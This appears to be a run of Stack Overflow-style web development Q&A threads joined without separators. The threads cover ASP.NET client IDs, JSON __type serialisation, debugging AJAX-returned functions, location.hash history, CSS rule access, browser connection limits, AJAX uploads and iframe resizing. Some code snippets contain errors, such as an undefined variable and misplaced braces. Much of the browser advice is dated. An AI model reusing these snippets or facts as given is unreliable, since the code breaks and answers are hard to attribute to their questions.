If you're certain there's no injection risk, and you're not eval()ing in a loop, then use eval(). It will compare favorably to other options which will certainly be slower, might break, and will require the client to download additional code.
"stolen" from jQuery
// Try to use the native JSON parser first
return window.JSON && window.JSON.parse ?
window.JSON.parse( data ) :
(new Function("return " + data))();
When asp.net controls are rendered their ids sometimes change, like if they are in a naming container. Button1 may actually have an id of ctl00_ContentMain_Button1 when it is rendered, for example.
I know that you can write your javascript as strings in your cs file, get the control's clientID and inject the script into your page using clientscript, but is there a way that you can reference a control directly from javascript using asp.net ajax?
I have found that writing a function to parse the dom recursively and find a control that CONTAINS the id that I want is unreliable,so I was looking for a best practice rather than a work-around.
This post by Dave Ward might have what you're looking for:
http://encosia.com/2007/08/08/robust-aspnet-control-referencing-in-javascript/
Excerpt from article:
Indeed there is. The better solution is to use inline ASP.NET code to inject the control?s ClientID property:
$get('<%= TextBox1.ClientID %>')Now the correct client element ID is referenced, regardless of the structure of the page and the nesting level of the control. In my opinion, the very slight performance cost of this method is well worth it to make your client scripting more resilient to change.
And some sample code by Dave from the comment thread of that post:
<script>
alert('TextBox1 has a value of: ' + $get('<%= TextBox1.ClientID %>').value);
</script>
The comment thread to the article I linked above has some good discussion as well.
Couple of thoughts on this:
1) I've had a lot of luck getting elements by css class instead of id because asp.net ids are not reliable as you stated. I use this function and it performs reasonably well:
function getElementsByClass(searchClass,node,tag) {
var classElements = new Array();
if ( node == null )
{
node = document;
}
if ( tag == null )
{
tag = '*';
}
var els = node.getElementsByTagName(tag);
var elsLen = els.length;
var pattern = new RegExp("(^|\\s)"+searchClass+"(\\s|$)");
for (i = 0, j = 0; i < elsLen; i++)
{
if ( pattern.test(els[i].className) )
{
classElements[j] = els[i];
j++;
}
}
return classElements;
}
2) jQuery helps here alot. Using jQuery you can reliably get elements where the id ends with a certain string. While this is not "the" reason to use jQuery it's definitely a plus.
3) This will be fixed in asp.net 4.0 so hang in there :-) http://weblogs.asp.net/asptest/archive/2009/01/06/asp-net-4-0-clientid-overview.aspx
Oh, and I also found this, in case anyone else is having this problem.
Use a custom jQuery selector for asp.net controls: http://john-sheehan.com/blog/custom-jquery-selector-for-aspnet-webforms/
I don't think there's a single "best practice" for doing this. There's plenty of different pretty good practices. Here's ours:
Every control which has client-side functionality renders a script block inline, directly below the markup for the control:
<span id="something_crazy_long">
control markup
</span>
<script type="text/javascript">new CustomControl('something_crazy_long');</script>
Each control has an accompanying JS like:
var CustomControl = function(id) {
this.control = document.getElementByID(id);
this.init();
};
CustomControl.prototype.init = function() {
//do stuff to wire up relevant events
};
In the codebehind, we do something like:
class CustomControl : Control
override void Render(HtmlTextWriter writer)
{
writer.WriteBeginTag("span");
writer.WriteAttribute("id", this.ClientID);
writer.Write(HtmlTextWriter.TagRightChar);
//write control markup
writer.WriteEndTag("span");
writer.WriteBeginTag("script");
writer.WriteAttribute("type", "text/javascript");
writer.Write(HtmlTextWriter.TagRightChar);
writer.Write(
string.Format("new CustomControl('{0}');", this.ClientID)
);
writer.WriteEndTag("script");
}
I do something similar to Rex M except to avoid multiple script tags I use a function in my page base class to register the controls I am going to use clientside, then spit them out to html inside 1 script tag.
You could even subclass your controls to automatically register with the function or use a boolean property to set whether you are going to use them clientside.
Every object I return from a WebMethod of a ScriptService, is wrapped into a d JSON object. That's ok. But I don't want the additional __type property to be served to the client, since I do manual processing with jQuery.
Is it possible?
Well it's been a long time since you asked. I found that if I make the default constructor of my class that my webmethod returns anything other than public it will not serialize the __type:ClassName portion.
You may want to declare your default constructor protected internal ClassName(){}
John's solution didn't work for me as the type I'm returning is in a seperate DLL. I have full control over that DLL but I can't construct my return type if the constructor is internal (of course).
I was wondering if the return type being a public type in a library might even be the cause; as I say I've been doing a lot of Ajax and not seen this one before. Quick tests:
Temporarily moved the return type declaration into App_Code. Still get __type serialised.
Ditto and applied the protected internal constructor per JM. This worked (so he gets a vote).
The solution for me, however, was to leave my return type in the DLL but set the WebMethod return type to object, i.e.
[WebMethod]
public static object ApplyCredits(int addonid, int[] vehicleIds)
instead of
[WebMethod]
public static WebMethodReturn ApplyCredits(int addonid, int[] vehicleIds)
Strangely I don't get __type with a generic return type:
[WebMethod]
public static WebMethodReturn<IEnumerable<FleetObserverLiteAddOns.VehicleAddOnAccountStatus>> GetAccountCredits()
If anyone can shed any light on this it would be appreciated. Not even sure it's by design tbh.
I've been trying some of these suggestions with a .NET 4 WCF service, and they don't seem to work - the JSON response still includes __type.
The easiest way I've discovered to remove the type-hinting is to change the endpoint behaviour from enableWebScript to webHttp.
<behavior name="MapData.MapDataServiceAspNetAjaxBehavior">
<webHttp />
</behavior>
The default enableWebScript behaviour is required if you're using an ASP.NET AJAX client, but if you're manipulating the JSON with JavaScript or jQuery then the webHttp behaviour is probably a better choice.
Do not use the [Serializable] attribute.
The following should just do it
JavaScriptSerializer ser = new JavaScriptSerializer(); string json = ser.Serialize(objectClass);
I not sure this a good solution , but if you use the Json.net library, you can ignore some properties by adding [JsonIgnore] attribute.
This should solve it.
In the private SerializeValue method of JavaScriptSerializer in System.WebExtensions.dll, the __type is added to an internal dictionary if it can be resolved.
From Reflector:
private void SerializeValue(object o, StringBuilder sb, int depth, Hashtable objectsInUse)
{
if (++depth > this._recursionLimit)
{
throw new ArgumentException(AtlasWeb.JSON_DepthLimitExceeded);
}
JavaScriptConverter converter = null;
if ((o != null) && this.ConverterExistsForType(o.GetType(), out converter))
{
IDictionary<string, object> dictionary = converter.Serialize(o, this);
if (this.TypeResolver != null)
{
string str = this.TypeResolver.ResolveTypeId(o.GetType());
if (str != null)
{
dictionary["__type"] = str;
}
}
sb.Append(this.Serialize(dictionary));
}
else
{
this.SerializeValueInternal(o, sb, depth, objectsInUse);
}
}
If the type can't be determined, serialization will still proceed, but the type will be ignored. The good news is that since anonymous types inherit getType() and the names returned are dynamically generated by the compiler, the TypeResolver returns null for ResolveTypeId and the "__type" attribute is subsequently ignored.
I also took John Morrison's advice with the internal constructor just in case, though using just this method, I was still getting __type properties in my JSON response.
//Given the following class
[XmlType("T")]
public class Foo
{
internal Foo()
{
}
[XmlAttribute("p")]
public uint Bar
{
get;
set;
}
}
[WebService(Namespace = "http://me.com/10/8")]
[System.ComponentModel.ToolboxItem(false)]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
[ScriptService]
public class MyService : System.Web.Services.WebService
{
//Return Anonymous Type to omit the __type property from JSON serialization
[WebMethod(EnableSession = true)]
[System.Web.Script.Services.ScriptMethod(UseHttpGet = false, ResponseFormat = ResponseFormat.Json, XmlSerializeString = false)]
public object GetFoo(int pageId)
{
//Kludge, returning an anonymois type using link, prevents returning the _type attribute.
List<Foo> foos = new List<Foo>();
rtnFoos.Add( new Foo(){
Bar=99
}};
var rtn = from g in foos.AsEnumerable()
select g;
return rtn;
}
}
Note: I'm using an inherited JSON type converter that reads the XML Serialization attributes from serialized types to further compress the JSON. With thanks to CodeJournal. Works like a charm.
This is a bit of a hack, but this worked for me (using C#):
s = (JSON string with "__type":"clsname", attributes)
string match = "\"__type\":\"([^\\\"]|\\.)*\",";
RegEx regex = new Regex(match, RegexOptions.Singleline);
string cleaned = regex.Replace(s, "");
Works with both [DataContract] and [DataContract(Namespace="")]
Pass in null for the JavaScriptTypeResolver and the __type will not be serialized
JavaScriptSerializer serializer = new JavaScriptSerializer(null);
string json = serializer.Serialize(foo);
I've a couple of problems debugging code returned in an Ajax call - specifically, a function returned in json (errors don't get trapped in Firefox) - up to the point where I started debugging these problems in Internet Explorer (I think it's a firefox related problem, as Venkman doesn't detects those errors either) Do you know of any way to debug code returned in json from an Ajax call?
EDITED 03/04/2009 15:05
Thanks to all for your responses, but I think I didn't explain myself well enough. I know enough of Firebug to do basic debugging, but my problem happens when I fetch some code in an Ajax call that has a problem with it. Let's say we have the following HTML file (you'll need prototype in the same folder to make it work correctly):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<script type="text/javascript" src="prototype.js"></script>
</head>
<body>
<script>
function ajaxErrorTest()
{
new Ajax.Request('data.json', {
'method': 'get',
'onSuccess': function(data){
if(data.responseJSON.func)
data.responseJSON.func();}});
}
</script>
<input type="button" value="test" onclick="ajaxErrorTest();" />
</body>
</html>
and then, the contents of the data.json file is this:
{'func':function(){console.log('loaded...');alert('hey');}}
If you load the page in a browser and click the 'Test' button (and everything goes well) you'll get something in the console, and an alert box that says 'hey'. Now change the data.json file to this:
{'func':function(){console.log('loaded...');alerts('hey');}}
...and click the 'Test' button again (no need to reload the page ;-) You get the console line, but no alert box... and no errors!!! this is the kind of errors I'm trying to debug.
Try clicking on the "Console" panel (it's a tab) and enabling it. You will find that any HTTP requests will be caught along with any information that they contain. I use this in order to view any JSON stored in the request as well as any errors (500/404/etc).
Also be aware that you have to enable the console panel on a per-domain basis. There are usually three subtabs: headers, post, and response. I usually use the post/response tabs quite a bit when I'm debugging my AJAX.
You probably want to use the Net tab and filter the requests for XMLHttpRequests (XHR) only.
The only way I came up with is surrounding your code with an (ugly) try/catch. I guess it's because the code is executed in another javascript context
<script>
function ajaxErrorTest()
{
new Ajax.Request('data.json', {
'method': 'get',
'onSuccess': function(data){
try{
if(data.responseJSON.func)
data.responseJSON.func();}});
} catch (err) {
console.dir(err);
}
}
</script>
This code gives a detailed error message:
ReferenceError: alerts is not defined
I really doubt changing the execution context will solve the problem. I don't know how to this with prototype, but with jquery, it can be done easily:
$.ajax({
url: "test.html",
context: document.body,
success: function(){
$(this).addClass("done");
}
});
I use an HTTP Proxy Debugger called fiddler which has always worked fine for debugging my AJAX problems. It captures all HTTP requests and responses for you to view. Its freely available from http://www.fiddlertool.com/
I'm not sure this issue involves the actual JSON that is retrieved. Can you try throwing an error directly in your onSuccess handler and see if it appears in the Firebug console? Something like this:
onSuccess: function() { alerts('hey'); }
If this is the case, then this issue should be fixed in Firebug 1.7.
I would use a combination of the net/console tabs in firefox.
Copy the json results from the Net Tab in Firefox.
Then paste the results into a variable in the console and try executing the offending function.
In this case, I pasted this:
var x = {'func':function(){console.log('loaded...');alerts('hey');}}
x.func();
When I run this, firebug gives me this error. ReferenceError: alerts is not defined
As others have mentioned, view the JSON/Javascript returned by expanding the AJAX URL in the Console tab.
Then if you copy that to the run/eval panel of the Console tab (there's an up/down arrow in the bottom right, clicking the up will change it into a textarea on the right hand side, clicking down gives a single line running along the bottom).
If your Ajax call returns: function(){alert("hello")}
Then you can use something like the following:
x = eval('function(){alert("hello")}')
x();
This will allow you to execute the returned ajax.
To debug with breakpoints use the HTML view to create a tag (using Firebug's HTML view) and then simply paste the code into a function within this tag. You can then set breakpoints and fire it by calling the previous function from the run'/eval panel.
If this works fine then clearly there's a bug outside of your control, but you could simply workaround that by sending the json back as text/plain, assigning it to a variable and then evaluating it.
This one is simple, i allways use FIDDLER to debug my ajax calls.
Fiddler is a Web Debugging Proxy which logs all HTTP(S) traffic between your computer and the Internet. Fiddler allows you to inspect all HTTP(S) traffic, set breakpoints, and "fiddle" with incoming or outgoing data. Fiddler includes a powerful event-based scripting subsystem, and can be extended using any .NET language.
the error you are trying to debug is pretty visible on native firefox console. it is: "tools" - "error console"
of course, you see it after it ocurrs but with an wrong line number (infinite resemblance)
So lately I've been catching a lot of crap from a junior developer whenever I use the term "dHTML". I know the term is dated, but it's descriptive of what the task is: changing rendered markup on the client. I cringe whenever i see the term Ajax applied to client side animation or form validation where no asynchronous request is being made. Web 2.0 is used a lot as well, but the term can be applied to everything from a business model to a visual style.
What term do you use to describe the combination of client-side scripting and css effects that may or may not be accompanied by asynchronous server requests?
It's DHTML.
I just call it JavaScript.
Just call it a combination of client-side scripting and css effects that may or may not involve asynchronous server requests.
I call it client-side behavior.
I agree with you too: "AJAX" is reserved for behavior that calls back to the server.
I call it jQuery. :)
Ajax. I know it's most commonly used with a server-side request, but just because it is only client side doesn't mean it isn't still called Ajax.
Ajax:
...Despite the name, the use of JavaScript and XML is not actually required, nor do the requests need to be asynchronous.
I would say you're trying to solve the wrong problem. The problem is the snotty-junior's attitude, not your language.
I'd go with DOM Scripting.
Call it dHTML or DOM scripting. And I agree: your problem is less with the language and more with the junior developer. If you want to solve the real problem you might ask him what he calls it, and deal with it from there.
Javascript or DHMTL.
If he keeps bitching at you, point all his actual flaws in language; like AJAX for javascript.
DHTML still fits in and has in my peer groups. They could be Ajax based UI which is still DHTML with Ajax but in the end, call it what it is. /shrug
Or Javascript
My 0.02 for DHTML being a valid, albeit currently unfashionable term.
http://en.wikipedia.org/wiki/DHTML - Dynamic HTML
- just because most javascript animation sucked and JQuery didn't exist at the time that term was coined, doesn't make it any less valid.
Some people even did Ajax before there was a name for it...
What you call it doesn't really matter, unless you're in the marketing department.
"call it yo mama if you want to"
I thought maybe RIA, since I think "rich" fits, but thinking about the actual definition that probably isn't correct. In fact, RIA might be less accurate than Ajax.
"Dynamic web [content|pages|stuff]" is accurate, if not precise. I can see a case being made that "dHTML" is too specific.
I think what you call it depends on the nature of the conversation. If the conversation is behavior oriented (i.e. I want this area to change based on x, or these to be drag gable) than a solution agnostic term like dynamic is probably best. If you are speaking about a specific solution it would be best to use the language/technology specific terminology for clarity.
javascript ?
As is well known, in XHR (aka AJAX) web applications no history for your app is build and clicking the refresh button often moves the user out of his/her current activity. I stumbled upon location.hash (e.g. http://anywhere/index.html#somehashvalue) to circumvent the refresh problem (use location.hash to inform your app of it's current state and use a page load handler to reset that state). It's really nice and simple.
This brought me to thinking about using location.hash to track the history of my app. I don't want to use existing libraries, because they use iframes etc. So here's my nickel and dime: when the application page loads I start this:
setInterval(
function(){
if (location.hash !== appCache.currentHash) {
appCache.currentHash = location.hash;
appCache.history.push(location.hash);
/* ... [load state using the hash value] ... */
return true;
}
return false;
}, 250
);
(appCache is a predefined object containing application variables) The idea is to trigger every action in the application from the hash value. In decent browsers a hash value change adds an entry to the history, in IE (<= 7) it doesn't. In all browsers, navigating back or forward to a page with another hash value doesn't trigger a page refresh. That's where the intervalled function takes over. With the function everytime the hash value change is detected (programmatically, or by clicking back or forward) the app can take appropriate action. The application can keep track of it's own history and I should be able to present history buttons in the application (especially for IE users).
As far as I can tell this works cross browser and there's no cost in terms of memory or processor resources. So my question is: would this be a viable solution to manage the history in XHR-apps? What are the pros and cons?
Update: because I use my homebrew framework, I didn't want to use one of the existing frameworks. To be able to use location.hash in IE and having it in it's history too, I created a simple script (yes, it's needs an iframe) which may be of use to you. I published it on my site, feel free to use/modify/critizise it.
There are 3 issues that tend to get munged together by most solutions:
The window.location.hash based solutions can solve all three for most cases: the value in the hash maps to a state of the application/webpage, so a user can press one of "back"/"forward"/"refresh" and jump to the state now in the hash. They can also bookmark because the value in the address bar has changed. (Note that a hidden iframe is needed for IE related to the hash not affecting the browser's history).
I just wanted to note however that an iframe only solution can be used without monitoring window.location.hash for a very effective solution too.
Google maps is a great example of this. The state captured for each user action is way too large to be placed into window.location.hash (map centroid, search results, satellite vs map view, info windows, etc). So they save state into a form embedded in a hidden iframe. Incidentally this solves the [soft] "refresh" issue too. They solve bookmarkability separately via a "Link to this page" button.
I just thought it's worthing knowing/separating the problem domains you are thinking about.
I think you'll have a tricky time knowing if a user went forward or back. Say the url starts /myapp#page1 so you start tracking states. Then the user does something to make the url /myapp#page2 Then the user does something to make the url /myapp#page1 again. Now their history is ambiguous and you won't know what to remove or not.
The history frameworks use iframes to get around the browser inconsistencies you mentioned. You only need to use iframes in the browsers that need them.
Another con is that users will always go for their browsers back button before they will go for your custom back button. I have a feeling the delay on reading the history every 250ms will be noticeable too. Maybe you can do the interval even tighter, but then I don't know if that'll make things perform badly.
I've used yui's history manager, and although it doesn't work perfectly all the time in all browsers (especially ie6), it's been used by a lot of users and developers. The pattern they use is pretty flexible too.
All that stuff is important for supporting the full range of browsers, but hopefully the need for it will go away. IE8 and FF3.6 both introduced support for onhashchange. I imagine that others will follow suit. It would be a good idea to check for the availability of this functionality before using timeouts or iframes, as it is really the nicest solution currently out there - and it even works in IE!
It's easy to set inline CSS values with javascript. If I want to change the width and I have html like this:
<div style="width: 10px"></div>
All I need to do is:
document.getElementById('id').style.width = value;
It will change the inline stylesheet values. Normally this isn't a problem, because the inline style overrides the stylesheet. Example:
<style>
#tId {
width: 50%;
}
</style>
<div id="tId"></div>
Using this Javascript:
document.getElementById('tId').style.width = "30%";
I get the following:
<style>
#tId {
width: 50%;
}
</style>
<div id="tId" style="width: 30%";></div>
This is a problem, because not only do I not want to change inline values, If I look for the width before I set it, when I have:
<div id="tId"></div>
The value returned is Null, so if I have Javascript that needs to know the width of something to do some logic (I increase the width by 1%, not to a specific value), getting back Null when I expect the string "50%" doesn't really work.
So my question: I have values in a CSS style that are not located inline, how can I get these values? How can I modify the style instead of the inline values, given an id?
Ok, it sounds like you want to change the global CSS so which will effictively change all elements of a peticular style at once. I've recently learned how to do this myself from a Shawn Olson tutorial. You can directly reference his code here.
Here is the summary:
You can retrieve the stylesheets via document.stylesheets. This will actually return an array of all the stylesheets in your page, but you can tell which one you are on via the document.stylesheets[styleIndex].href property. Once you have found the stylesheet you want to edit, you need to get the array of rules. This is called "rules" in IE and "cssRules" in most other browsers. The way to tell what CSSRule you are on is by the selectorText property. The working code looks something like this:
var cssRuleCode = document.all ? 'rules' : 'cssRules'; //account for IE and FF
var rule = document.stylesheets[styleIndex][cssRuleCode][ruleIndex];
var selector = rule.selectorText; //maybe '#tId'
var value = rule.value; //both selectorText and value are settable.
Let me know how this works for ya, and please comment if you see any errors.
I've never seen any practical use of this, but you should probably consider DOM stylesheets. However, I honestly think that's overkill.
If you want to simply want to get the width and height of an element, irrespective of where the dimensions are being applied from, just use element.offsetWidth and element.offsetHeight.
You can get the "computed" styles of any element.
IE uses something called "currentStyle", Firefox (and I assume other "standard compliant" browsers) uses "defaultView.getComputedStyle".
You'll need to write a cross browser function to do this, or use a good Javascript framework like prototype or jQuery (search for "getStyle" in the prototype javascript file, and "curCss" in the jquery javascript file).
That said if you need the height or width you should probably use element.offsetHeight and element.offsetWidth.
The value returned is Null, so if I have Javascript that needs to know the width of something to do some logic (I increase the width by 1%, not to a specific value)
Mind, if you add an inline style to the element in question, it can act as the "default" value and will be readable by Javascript on page load, since it is the element's inline style property:
<div style="width:50%">....</div>
I don't have rep enough to comment so I'll format an answer, yet it is only a demonstration of the issue in question.
It seems, when element styles are defined in stylesheets they are not visible to getElementById("someElement").style
This code illustrates the issue... wonkyStyleBehavior.htm
In Test 2, on the first call, the items left value is undefined, and so, what should be a simple toggle gets messed up. For my use I will define my important style values inline, but it does seem to partially defeat the purpose of the stylesheet.
Here's the page code...
<html>
<head>
<style type="text/css">
#test2a{
position: absolute;
left: 0px;
width: 50px;
height: 50px;
background-color: green;
border: 4px solid black;
}
#test2b{
position: absolute;
left: 55px;
width: 50px;
height: 50px;
background-color: yellow;
margin: 4px;
}
</style>
</head>
<body>
<!-- test1 -->
Swap left positions function with styles defined inline.
<a href="javascript:test1();">Test 1</a><br>
<div class="container">
<div id="test1a" style="position: absolute;left: 0px;width: 50px; height: 50px;background-color: green;border: 4px solid black;"></div>
<div id="test1b" style="position: absolute;left: 55px;width: 50px; height: 50px;background-color: yellow;margin: 4px;"></div>
</div>
<script type="text/javascript">
function test1(){
var a = document.getElementById("test1a");
var b = document.getElementById("test1b");
alert(a.style.left + " - " + b.style.left);
a.style.left = (a.style.left == "0px")? "55px" : "0px";
b.style.left = (b.style.left == "0px")? "55px" : "0px";
}
</script>
<!-- end test 1 -->
<!-- test2 -->
<div id="moveDownThePage" style="position: relative;top: 70px;">
Identical function with styles defined in stylesheet.
<a href="javascript:test2();">Test 2</a><br>
<div class="container">
<div id="test2a"></div>
<div id="test2b"></div>
</div>
</div>
<script type="text/javascript">
function test2(){
var a = document.getElementById("test2a");
var b = document.getElementById("test2b");
alert(a.style.left + " - " + b.style.left);
a.style.left = (a.style.left == "0px")? "55px" : "0px";
b.style.left = (b.style.left == "0px")? "55px" : "0px";
}
</script>
<!-- end test 2 -->
</body>
</html>
I hope this helps to illuminate the issue.
Skip
In Firefox 3, the answer is 6 per domain: as soon as a 7th XmlHttpRequest (on any tab) to the same domain is fired, it is queued until one of the other 6 finish.
What are the numbers for the other major browsers?
Also, are there ways around these limits without having my users modify their browser settings? For example, are there limits to the number of jsonp requests (which use script tag injection rather than an XmlHttpRequest object)?
Background: My users can make XmlHttpRequests from a web page to the server, asking the server to run ssh commands on remote hosts. If the remote hosts are down, the ssh command takes a few minutes to fail, eventually preventing my users from performing any further commands.
One trick you can use to increase the number of concurrent conncetions is to host your images from a different sub domain. These will be treated as seperate requests, each domain is what will be limited to the concurrent maximum.
IE6, IE7 - Have a limit of two. IE8 is 6 if your a broadband, 2 if you are dial up.
The network results at Browserscope will give you both Connections per Hostname and Max Connections for popular browsers. The data is gathered by running tests on users "in the wild," so it will stay up to date.
With IE6 / IE7 one can tweak the number of concurrent requests in the registry. Here's how to set it to four each.
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer"=dword:00000004
"MaxConnectionsPer1_0Server"=dword:00000004
According to IE 9 ? What?s Changed? on the HttpWatch blog, IE9 still has a 2 connection limit when over VPN.
Using a VPN Still Clobbers IE 9 Performance
We previously reported about the scaling back of the maximum number of concurrent connections in IE 8 when your PC uses a VPN connection. This happened even if the browser traffic didn?t go over that connection.
Unfortunately, IE 9 is affected by VPN connections in the same way:
I believe there is a maximum number of concurrent http requests that browsers will make to the same domain, which is in the order of 4-8 requests depending on the user's settings and browser.
You could set up your requests to go to different domains, which may or may not be feasible. The Yahoo guys did a lot of research in this area, which you can read about (here). Remember that every new domain you add also requires a DNS lookup. The YSlow guys recommend between 2 and 4 domains to achieve a good compromise between parallel requests and DNS lookups, although this is focusing on the page's loading time, not subsequent AJAX requests.
Can I ask why you want to make so many requests? There is good reasons for the browsers limiting the number of requests to the same domain. You will be better off bundling requests if possible.
I have writen a single file ajax tester, enjoy!!! just because I have had problems with my hosting provider
<?php /*
Author: Luis Siquot
Purpose: Check ajax performance and errors
License: GPL
site5: Please don't drop json requests (nor delay)!!!!
*/
$r = (int)$_GET['r'];
$w = (int)$_GET['w'];
if($r) {
sleep($w);
echo json_encode($_GET);
die ();
} //else
?><head>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript">
var _settimer;
var _timer;
var _waiting;
$(function(){
clearTable();
$('#boton').bind('click', donow);
})
function donow(){
var w;
var estim = 0;
_waiting = $('#total')[0].value * 1;
clearTable();
for(var r=1;r<=_waiting;r++){
w = Math.floor(Math.random()*6)+2;
estim += w;
dodebug({r:r, w:w});
$.ajax({url: '<?php echo $_SERVER['SCRIPT_NAME']; ?>',
data: {r:r, w:w},
dataType: 'json', // 'html',
type: 'GET',
success: function(CBdata, status) {
CBdebug(CBdata);
}
});
}
doStat(estim);
timer(estim+10);
}
function doStat(what){
$('#stat').replaceWith(
'<table border="0" id="stat"><tr><td>Request Time Sum=<th>'+what+
'<td> /2=<th>'+Math.ceil(what/2)+
'<td> /3=<th>'+Math.ceil(what/3)+
'<td> /4=<th>'+Math.ceil(what/4)+
'<td> /6=<th>'+Math.ceil(what/6)+
'<td> /8=<th>'+Math.ceil(what/8)+
'<td> (seconds)</table>'
);
}
function timer(what){
if(what) {_timer = 0; _settimer = what;}
if(_waiting==0) {
$('#showTimer')[0].innerHTML = 'completed in <b>' + _timer + ' seconds</b> (aprox)';
return ;
}
if(_timer<_settimer){
$('#showTimer')[0].innerHTML = _timer;
setTimeout("timer()",1000);
_timer++;
return;
}
$('#showTimer')[0].innerHTML = '<b>don\'t wait any more!!!</b>';
}
function CBdebug(what){
_waiting--;
$('#req'+what.r)[0].innerHTML = 'x';
}
function dodebug(what){
var tt = '<tr><td>' + what.r + '<td>' + what.w + '<td id=req' + what.r + '> '
$('#debug').append(tt);
}
function clearTable(){
$('#debug').replaceWith('<table border="1" id="debug"><tr><td>Request #<td>Wait Time<td>Done</table>');
}
</script>
</head>
<body>
<center>
<input type="button" value="start" id="boton">
<input type="text" value=8 id="total" size="2"> concurrent json requests
<table id="stat"><tr><td> </table>
Elapsed Time: <span id="showTimer"></span>
<table id="debug"></table>
</center>
</body>
Here's the list so far -- please help complete it!
Number of concurrent requests of any type (including AJAX, image loads, etc) to a single domain:
FF 2: 2
FF 3: 6
IE 6/7: 2
IE 8: 2 on dialup, 6 on broadband
Safari: ?
Chrome: ?
In my ajax call, I want to return a string value back to the calling page.
Do I still using ActionResult or just return a string?
You can just use the ContentResult to return a plain string:
public ActionResult Temp() {
return Content("Hi there!");
}
ContentResult by default returns a text/plain as its contentType. This is overloadable so you can also do:
return Content("<xml>This is poorly formatted xml.</xml>", "text/xml");
You can also just return string if you know that's the only thing the method will ever return. For example:
public string MyActionName() {
return "Hi there!";
}
I don't want to use jQuery, but I'd like to use Ajax to do file uploading. Is that possible?
If so, where can I find information/tutorial on it?
No, it isn't possible to do this with javascript.
In order to give the 'AJAX' feel, however, you can submit a form to a hidden iframe and output the script results to it, then process from there. Google ajax iframe upload and get started from there.
If you are using jQuery, there is also the Form plugin which will automatically create this iframe for you if your form has any file fields in it. I haven't used it to do this, but I've heard good things.
As pointed out in the comments, you can also use something like the very popular SWFUpload to accomplish the desired effect with Flash.
Incase anyone is finding this question much later: yes this is possible with JavaScript now.
HTML5 defined 2 new APIs that you use together to accomplish this: Drag and Drop API and the File API. You can use jQuery to interact with the APIs effectively letting people drag and drop files for upload.
Here is a tutorial on how to do it.
The code currently works in Chrome 6+ and Firefox 3.6+, Safari 6 and IE 10. If you need Safari 5 support, the code stays almost exactly the same but you use the FormData object instead for the uploaded file list (more information in the post).
Opera supports the File API as of 11, but not the DnD API, the drop operation does not initiate the upload, but they support you getting access to the file with the API. I imagine in 12 they will finish off support for DnD API.
i use swfupload for multiple ajax-like uploads (its javascript/flash based)
Here's a bit of detail about how gmail does it, using an iframe:
Strictly speaking there are possibilities to do real AJAX file uploads, but this is only possible in Firefox 3+, Safari 4 and Chrome 2. In all other browsers you must use a workaround like the iframe technique or a Flash based uploader.
Assuming you are using Java, DWR version 3.0 (currently in RC1) has support for binary file upload/download, which makes the problem trivially easy. I have not had a chance to try this out yet but we use DWR extensively with total success; it is a great Ajax toolkit.
http://directwebremoting.org/blog/joe/2008/12/16/dwr_version_3_0_release_candidate_1.html
Haven't used it personally, but Ajax Uploader is a component I recently came across which says it can do file uploads inside an UpdatePanel (assuming you're using ASP.NET).
I am opening my blog page in my website. The problem is I can give a width to an iframe but the height should be dynamic so that there is no scrollbar in the iframe, and it looks like a single page...
I have tried various JavaScript code to calculate the height of the content but all of them give an access denied permission error and is of no use.
<iframe src="http://bagtheplanet.blogspot.com/" name="ifrm" id="ifrm" width="1024px" ></iframe>
Can we use Ajax to calculate height or maybe using PHP?
To directly answer your two subquestions: No, you cannot do this with Ajax, nor can you calculate it with PHP.
What I have done in the past is use a trigger from the iframe'd page in window.onload (NOT domready, as it can take a while for images to load) to pass the page's body height to the parent.
<body onload='parent.resizeIframe(document.body.scrollHeight)'>
Then the parent.resizeIframe looks like this:
function resizeIframe(newHeight)
{
document.getElementById('blogIframe').style.height = parseInt(newHeight) + 10 + 'px';
}
Et voila, you have a robust resizer that triggers once the page is fully rendered with no nasty contentdocument vs contentWindow fiddling :)
Sure, now people will see your iframe at default height first, but this can be easily handled by hiding your iframe at first and just showing a 'loading' image. Then, when the resizeIframe function kicks in, put two extra lines in there that will hide the loading image, and show the iframe for that faux Ajax look.
Of course, this only works from the same domain, so you may want to have a proxy PHP script to embed this stuff, and once you go there, you might as well just embed your blog's RSS feed directly into your site with PHP.
You can do this with JavaScript.
document.getElementById('foo').height = document.getElementById('foo').contentWindow.document.body.scrollHeight + "px";
Fitting IFRAME contents is kind of an easy thing to find on Google. Here's one solution:
<script type="text/javascript">
function autoIframe(frameId) {
try {
frame = document.getElementById(frameId);
innerDoc = (frame.contentDocument) ? frame.contentDocument : frame.contentWindow.document;
objToResize = (frame.style) ? frame.style : frame;
objToResize.height = innerDoc.body.scrollHeight + 10;
}
catch(err) {
window.status = err.message;
}
}
</script>
This of course doesn't solve the cross-domain problem you are having... Setting document.domain might help if these sites are in the same place. I don't think there is a solution if you are iframe-ing random sites.
How to dynamically adjust an iframe?s height is really simple and tested by me.
Try using scrolling=no attribute on the iframe tag. Mozilla also has an overflow-x and overflow-y CSS property you may look into.
In terms of the height, you could also try height=100% on the iframe tag.
Below is my onload event handler.
I use an IFRAME within a jQuery UI dialog. Different usages will need some adjustments. This seems to do the trick for me (for now) in Internet Explorer 8 and Firefox 3.5. It might need some extra tweaking, but the general idea should be clear.
function onLoadDialog(frame) {
try {
var body = frame.contentDocument.body;
var $body = $(body);
var $frame = $(frame);
var contentDiv = frame.parentNode;
var $contentDiv = $(contentDiv);
var savedShow = $contentDiv.dialog('option', 'show');
var position = $contentDiv.dialog('option', 'position');
// disable show effect to enable re-positioning (UI bug?)
$contentDiv.dialog('option', 'show', null);
// show dialog, otherwise sizing won't work
$contentDiv.dialog('open');
// Maximize frame width in order to determine minimal scrollHeight
$frame.css('width', $contentDiv.dialog('option', 'maxWidth') -
contentDiv.offsetWidth + frame.offsetWidth);
var minScrollHeight = body.scrollHeight;
var maxWidth = body.offsetWidth;
var minWidth = 0;
// decrease frame width until scrollHeight starts to grow (wrapping)
while (Math.abs(maxWidth - minWidth) > 10) {
var width = minWidth + Math.ceil((maxWidth - minWidth) / 2);
$body.css('width', width);
if (body.scrollHeight > minScrollHeight) {
minWidth = width;
} else {
maxWidth = width;
}
}
